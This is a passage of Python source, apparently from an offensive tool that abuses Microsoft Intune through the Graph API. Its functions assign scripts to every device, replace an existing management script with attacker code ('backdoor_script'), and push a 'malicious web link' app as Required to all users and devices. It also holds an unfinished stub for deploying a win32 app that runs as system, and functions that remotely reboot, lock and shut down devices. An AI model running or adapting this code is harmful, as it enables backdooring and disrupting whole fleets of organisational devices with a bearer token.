f"https://graph.microsoft.com/beta/deviceManagement/deviceManagementScripts/{script_id}/assign" try: assignments = [] assign_all_devices = input("\nAssign to all devices? (yes/no): ").strip().lower() if assign_all_devices == 'yes': assignments.append({ "target": { "@odata.type": "#microsoft.graph.allDevicesAssignmentTarget" } }) assign_all_users = input("Assign to all users? (yes/no): ").strip().lower() if assign_all_users == 'yes': assignments.append({ "target": { "@odata.type": "#microsoft.graph.allLicensedUsersAssignmentTarget" } }) assign_specific_group = input("Assign to specific group? (yes/no): ").strip().lower() if assign_specific_group == 'yes': group_id = input("Enter Group ID: ").strip() assignments.append({ "target": { "@odata.type": "#microsoft.graph.groupAssignmentTarget", "groupId": group_id } }) add_group_exclusion = input("Add group exclusion? (yes/no): ").strip().lower() if add_group_exclusion == 'yes': exclusion_group_id = input("Enter Group ID to Exclude: ").strip() assignments.append({ "target": { "@odata.type": "#microsoft.graph.exclusionGroupAssignmentTarget", "groupId": exclusion_group_id } }) except KeyboardInterrupt: sys.exit() assignment_payload = { "deviceManagementScriptAssignments": assignments } response = requests.post(url_assign, headers=headers, json=assignment_payload) if response.status_code == 200: print_green("\n[+] Script assigned successfully") else: print_red(f"[-] Failed to assign script: {response.status_code}") print(response.text) else: print_red(f"[-] Failed to create script: {response.status_code}") print(response.text) print("=" * 80) # backdoor-script def backdoor_script(args): if not args.id or not args.script: print_red("[-] Error: --id and --script required for Backdoor-Script command") return print_yellow("[*] Backdoor-Script") print("=" * 80) api_url = f"https://graph.microsoft.com/beta/deviceManagement/deviceManagementScripts/{args.id}" user_agent = get_user_agent(args) headers = { 'Authorization': f'Bearer {get_access_token(args.token)}', 'Content-Type': 'application/json', 'User-Agent': user_agent } # 1. get current target script settings and encode new script content so we don't override anything # - could add option to alter pre-existing settings try: script_content = read_file_content(args.script) encoded_script_content = base64.b64encode(script_content.encode('utf-8')).decode('utf-8') except Exception as e: print_red(f"[-] Error reading or encoding script file: {e}") return response = requests.get(api_url, headers=headers) if response.ok: json_data = response.json() json_data.pop('@odata.context', None) # remove or 400 err json_data.pop('id', None) # remove or 400 err json_data.pop('createdDateTime', None) # remove or 400 err json_data.pop('lastModifiedDateTime', None) # remove or 400 err json_data['scriptContent'] = encoded_script_content # replace with our new script content else: print_red(f"[-] HTTP Error: {response.status_code}") print_red(response.text) return # 2. patch script with updated script content patch = requests.patch(api_url, headers=headers, json=json_data) if patch.ok: print_green("\n[+] Patched device management script successfully\n") json_data = patch.json() script_content = json_data.get('scriptContent') if script_content: decoded_script_content = base64.b64decode(script_content).decode('utf-8') json_data['scriptContent'] = decoded_script_content json_data.pop('@odata.context', None) json_data.pop('scriptContent', None) for key, value in json_data.items(): print(f"{key} : {value}") if script_content: print_green("scriptContent :\n") print(decoded_script_content) else: print_red(f"[-] Error patching device management script: {patch.status_code}") print_red(patch.text) print("=" * 80) # deploy-maliciousweblink def deploy_maliciousweblink(args): print_yellow("[*] Deploy-MaliciousWebLink") print("=" * 80) api_url = "https://graph.microsoft.com/beta/deviceAppManagement/mobileApps/" user_agent = get_user_agent(args) headers = { 'Authorization': f'Bearer {get_access_token(args.token)}', 'Content-Type': 'application/json', 'User-Agent': user_agent } try: # all required appUrl = input("\nApp URL: ").strip() description = input("Description: ").strip() displayName = input("Display Name: ").strip() publisher = input("Publisher: ").strip() isFeatured = input("Show this as a featured app in the Company Portal? (true/false): ").strip().lower() if isFeatured not in ['true', 'false']: print("Invalid input for Company Portal. Defaulting to 'False'.") isFeatured = 'False' except KeyboardInterrupt: sys.exit() json_body = { "@odata.type": "#microsoft.graph.windowsWebApp", # or microsoft.graph.webApp for standard web link "appUrl": appUrl, "categories": [], "description": description, "developer": "", "displayName": displayName, "informationUrl": "", "isFeatured": isFeatured, "notes": "", "owner": "", "privacyInformationUrl": "", "publisher": publisher, "roleScopeTagIds": [] } response = requests.post(api_url, json=json_body, headers=headers) if response.ok: result = response.json() print_green("\n[+] Malicious web link app deployed successfully") appid = result['id'] print(f"\nApp ID: {appid}") assign_url = f"https://graph.microsoft.com/beta/deviceAppManagement/mobileApps/{appid}/assign" assign_body = { "mobileAppAssignments": [ { "@odata.type": "#microsoft.graph.mobileAppAssignment", "target": { "@odata.type": "#microsoft.graph.allLicensedUsersAssignmentTarget" }, "intent": "Required", "settings": None }, { "@odata.type": "#microsoft.graph.mobileAppAssignment", "target": { "@odata.type": "#microsoft.graph.allDevicesAssignmentTarget" }, "intent": "Required", "settings": None } ] } assign = requests.post(assign_url, json=assign_body, headers=headers) if assign.ok: print_green("\n[+] Web link app assigned successfully") else: print_red(f"\n[-] Failed to assign web link app: {response.status_code}") print_red(response.text) else: print_red(f"[-] Failed to create web link app: {response.status_code}") print_red(response.text) print("=" * 80) # deploy-maliciouswin32app # - user will have to packagae app prior # https://cloudinfra.net/how-to-deploy-exe-applications-using-intune/ # https://www.systemcenterdudes.com/deploy-microsoft-intune-win32-apps/ # # POST https://graph.microsoft.com/beta/deviceAppManagement/mobileApps/ # {"@odata.type":"#microsoft.graph.win32LobApp","applicableArchitectures":"x64,x86","allowAvailableUninstall":false,"categories":[],"description":"IntuneMessageBox","developer":"","displayName":"IntuneMessageBox","displayVersion":"","fileName":"IntuneMessageBox.intunewin","installCommandLine":"IntuneMessageBox.exe","installExperience":{"deviceRestartBehavior":"suppress","maxRunTimeInMinutes":30,"runAsAccount":"system"},"informationUrl":"","isFeatured":false,"roleScopeTagIds":[],"notes":"","minimumSupportedWindowsRelease":"1607","msiInformation":null,"owner":"","privacyInformationUrl":"","publisher":"ECorp","returnCodes":[{"returnCode":0,"type":"success"},{"returnCode":1707,"type":"success"},{"returnCode":3010,"type":"softReboot"},{"returnCode":1641,"type":"hardReboot"},{"returnCode":1618,"type":"retry"}],"rules":[{"@odata.type":"#microsoft.graph.win32LobAppFileSystemRule","ruleType":"detection","operator":"notConfigured","check32BitOn64System":false,"operationType":"exists","comparisonValue":null,"fileOrFolderName":"IntuneMessageBox.exe","path":"C:\\Program Files\\IntuneMessageBox.exe"}],"runAs32Bit":false,"setupFilePath":"IntuneMessageBox.exe","uninstallCommandLine":"IntuneMessageBox.exe"} # -> need to add install/uninstall instruction batch script def deploy_maliciouswin32msi(args): # not working obvs url = "https://graph.microsoft.com/beta/deviceAppManagement/mobileApps/" # add the option to be available in the company portal for download data = { "@odata.type": "#microsoft.graph.win32LobApp", "applicableArchitectures": "x64,x86", "allowAvailableUninstall": False, "categories": [], "description": "IntuneMessageBox", "developer": "", "displayName": "IntuneMessageBox", "displayVersion": "", "fileName": "IntuneMessageBox.intunewin", "installCommandLine": "IntuneMessageBox.exe", "installExperience": { "deviceRestartBehavior": "suppress", "maxRunTimeInMinutes": 30, "runAsAccount": "system" }, "informationUrl": "", "isFeatured": False, "roleScopeTagIds": [], "notes": "", "minimumSupportedWindowsRelease": "1607", "msiInformation": None, "owner": "", "privacyInformationUrl": "", "publisher": "ECorp", "returnCodes": [ {"returnCode": 0, "type": "success"}, {"returnCode": 1707, "type": "success"}, {"returnCode": 3010, "type": "softReboot"}, {"returnCode": 1641, "type": "hardReboot"}, {"returnCode": 1618, "type": "retry"} ], "rules": [ { "@odata.type": "#microsoft.graph.win32LobAppFileSystemRule", "ruleType": "detection", "operator": "notConfigured", "check32BitOn64System": False, "operationType": "exists", "comparisonValue": None, "fileOrFolderName": "IntuneMessageBox.exe", "path": "C:\\Program Files\\IntuneMessageBox.exe" } ], "runAs32Bit": False, "setupFilePath": "IntuneMessageBox.exe", "uninstallCommandLine": "IntuneMessageBox.exe" } # deploy-maliciouswin32msi # - todo # def deploy_maliciouswin32msi(args): # update-deviceconfig def update_deviceconfig(args): if not args.id: print_red("[-] Error: --id required for Update-DeviceConfig command") return properties = [ { "Property": "ownerType", "Description": "Ownership of the device. Possible values are, 'company' or 'personal'. Default is unknown. Supports $filter operator 'eq' and 'or'. Possible values are: unknown, company, personal." }, { "Property": "managedDeviceOwnerType", "Description": "Ownership of the device. Can be 'company' or 'personal'. Possible values are: unknown, company, personal." }, { "Property": "managedDeviceName", "Description": "Automatically generated name to identify a device. Can be overwritten to a user friendly name." }, { "Property": "notes", "Description": "Notes on the device created by IT Admin. Default is null. To retrieve actual values GET call needs to be made, with device id and included in select parameter. Supports: $select. $Search is not supported." }, { "Property": "roleScopeTagIds", "Description": "List of Scope Tag IDs for this Device instance." }, { "Property": "configurationManagerClientHealthState", "Description": "Configuration manager client health state, valid only for devices managed by MDM/ConfigMgr Agent." }, { "Property": "configurationManagerClientInformation", "Description": "Configuration manager client information, valid only for devices managed, duel-managed or tri-managed by ConfigMgr Agent." } ] print_yellow("[*] Update-DeviceConfig") print("=" * 80) print("\033[34m[>] Device Properties: https://learn.microsoft.com/en-us/graph/api/intune-devices-manageddevice-update\033[0m\n") api_url = f"https://graph.microsoft.com/beta/deviceManagement/managedDevices('{args.id}')" user_agent = get_user_agent(args) headers = { 'Authorization': f'Bearer {get_access_token(args.token)}', 'Content-Type': 'application/json', 'User-Agent': user_agent } table = [[prop["Property"], prop["Description"]] for prop in properties] separator = ['-' * 20, '-' * 50] tablenew = tabulate([["Property", "Description"]] + [separator] + table, headers="firstrow", tablefmt="plain", colalign=("left", "left")) print(tablenew) try: prop = input("\nEnter Property: ").strip() newvalue = input("Enter New Value: ").strip() except KeyboardInterrupt: sys.exit() json_body = { prop : newvalue } response = requests.patch(api_url, headers=headers, data=json.dumps(json_body)) if response.ok: print_green("\n[+] Device config updated successfully") else: print_red(f"\n[-] Failed to update device config: {response.status_code}") print_red(response.text) print("=" * 80) # reboot-device def reboot_device(args): if not args.id: print_red("[-] Error: --id argument is required for Reboot-Device command") return print_yellow("[*] Reboot-Device") print("=" * 80) api_url = f"https://graph.microsoft.com/beta/deviceManagement/managedDevices/{args.id}/rebootNow" user_agent = get_user_agent(args) headers = { 'Authorization': f'Bearer {get_access_token(args.token)}', 'Content-Type': 'application/json', 'User-Agent': user_agent } response = requests.post(api_url, headers=headers) if response.ok: print_green(f"[+] Device reboot initiated successfully") else: print_red(f"[-] Failed to initiate device reboot: {response.status_code}") print_red(response.text) print("=" * 80) # lock-device def lock_device(args): if not args.id: print_red("[-] Error: --id argument is required for Lock-Device command") return print_yellow("[*] Lock-Device") print("=" * 80) api_url = f"https://graph.microsoft.com/beta/deviceManagement/managedDevices/{args.id}/remoteLock" user_agent = get_user_agent(args) headers = { 'Authorization': f'Bearer {get_access_token(args.token)}', 'User-Agent': user_agent } response = requests.post(api_url, headers=headers) if response.ok: print_green(f"[+] Device lock initiated successfully") else: print_red(f"[-] Failed to initiate device lock: {response.status_code}") print_red(response.text) print("=" * 80) # shutdown-device def shutdown_device(args): if not args.id: print_red("[-] Error: --id argument is required for Shutdown-Device command") return print_yellow("[*] Shutdown-Device") print("=" * 80) api_url = f"https://graph.microsoft.com/beta/deviceManagement/managedDevices/{args.id}/shutDown" user_agent = get_user_agent(args) headers = { 'Authorization': f'Bearer {get_access_token(args.token)}', 'User-Agent': user_agent } response = requests.post(api_url, headers=headers) if response.ok: print_green(f"[+] Device shutdown initiated successfully") else: print_red(f"[-] Failed to initiate device shutdown: {response.status_code}") print_red(response.text) print("=" * 80) # add more from # https://learn.microsoft.com/en-us/graph/api/resources/intune-devices-manageddevice?view=graph-rest-beta